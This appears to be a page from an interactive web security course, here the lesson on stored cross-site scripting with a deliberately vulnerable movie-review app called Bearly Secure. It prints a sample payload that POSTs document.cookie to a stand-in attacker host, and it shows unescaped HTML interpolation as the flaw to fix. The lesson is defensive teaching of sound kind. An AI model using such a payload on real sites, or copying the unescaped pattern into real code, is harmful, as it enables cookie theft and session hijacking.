

0 / 2 embers
0 / 3000 xp
click for more info
Complete a lesson to start your streak
click for more info
Still calibrating
click for more info
Not enough gems
Cost: 6 gems
1: Cross-Site Scripting (XSS)
incomplete
2: Fix Cross-Site Scripting
incomplete
3: Cross-Site Request Forgery (CSRF)
incomplete
4: CSRF Tokens
incomplete
5: Content Security Policy
incomplete
6: Legitimate Inline Scripts
incomplete
7: Sandboxing 'iframe' Elements
incomplete
8: Clickjacking
incomplete
9: Same-Origin and Referrer Policies
incomplete
10: Cross-Origin Resource Sharing
incomplete
11: CORS in Express
incomplete
12: Helmet
incomplete
Back
ctrl+,
Next
ctrl+.
This lesson's interactive features are locked, please to keep using them
Cross-Site Scripting (XSS) happens when user-controlled input becomes executable code in a browser. Instead of being treated as text, the input becomes part of the page and runs with that page's access.
Imagine a movie site that interpolates each stored review directly into an HTML string:
const reviewItems = reviews
.map((review) => `<article><p>${review.body}</p></article>`)
.join("");
An attacker can submit a review containing an executable <script> payload:
<script>
fetch("https://attacker.example.com/steal-cookie", {
method: "POST",
body: document.cookie,
});
</script>
The site stores that entire script tag as a string, and the payload is injected into the HTML of every visitor's session when they open the movie page. This is stored XSS: the attack persists and reaches other users.
HttpOnly at least takes one common XSS goal off the table because it prevents JavaScript from reading a cookie through document.cookie. Of course, that doesn't stop the injected script from reading page data or making authenticated same-origin requests as the victim.
The defense is to encode untrusted values for the context where they're rendered. In HTML text, characters like <, >, and & need to become text entities instead of active markup.
Bearly Secure renders stored review bodies directly into HTML. Escape them before rendering.
<script>
document.body.insertAdjacentHTML(
"afterbegin",
'<p style="background: #b91c1c; color: black; padding: 1rem">XSS payload executed</p>',
);
</script>
A red XSS payload executed banner should appear at the top of the page.
With Bearly Secure still running, run and submit the CLI tests from the project root.